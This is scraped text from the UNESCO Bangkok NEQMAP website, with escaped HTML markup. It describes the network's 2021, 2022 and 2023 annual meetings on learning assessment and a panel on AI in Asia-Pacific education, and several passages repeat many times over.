As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The Annual Meeting is a unique opportunity for NEQMAP members to share, discuss and learn from each others\u2019 research, practices and experiences to advance the quality of learning assessment in the Asia-Pacific.  <\/p>\n\n\n\nThis year\u2019s annual meeting edition is also a celebration of NEQMAP\u2019s 10-year anniversary and the accomplishments made by the members over the past decade to advance the quality of education in the Asia-Pacific region. The meeting will thus include a retrospective and revisiting of past themes and work done by the Network. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2023 annual meeting has four main objectives: <\/p>\n\n\n\n<ul class=\"\">\n<li class=\"\">To promote knowledge sharing between NEQMAP members on learning assessment <\/li>\n\n\n\n<li class=\"\">To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li class=\"\">To promote knowledge sharing between NEQMAP members on learning assessment <\/li>\n\n\n\n<li class=\"\">To celebrate a decade of work of the Network <\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 7-8 December 2023<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The Annual Meeting is a unique opportunity for NEQMAP members to share, discuss and learn from each others\u2019 research, practices and experiences to advance the quality of learning assessment in the Asia-Pacific.  <\/p>\n\n\n\nThis year\u2019s annual meeting edition is also a celebration of NEQMAP\u2019s 10-year anniversary and the accomplishments made by the members over the past decade to advance the quality of education in the Asia-Pacific region. The meeting will thus include a retrospective and revisiting of past themes and work done by the Network. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2023 annual meeting has four main objectives: <\/p>\n\n\n\n<ul class=\"\">\n<li class=\"\">To promote knowledge sharing between NEQMAP members on learning assessment <\/li>\n\n\n\n<li class=\"\">To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li class=\"\">To promote knowledge sharing between NEQMAP members on learning assessment <\/li>\n\n\n\n<li class=\"\">To celebrate a decade of work of the Network <\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 7-8 December 2023<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

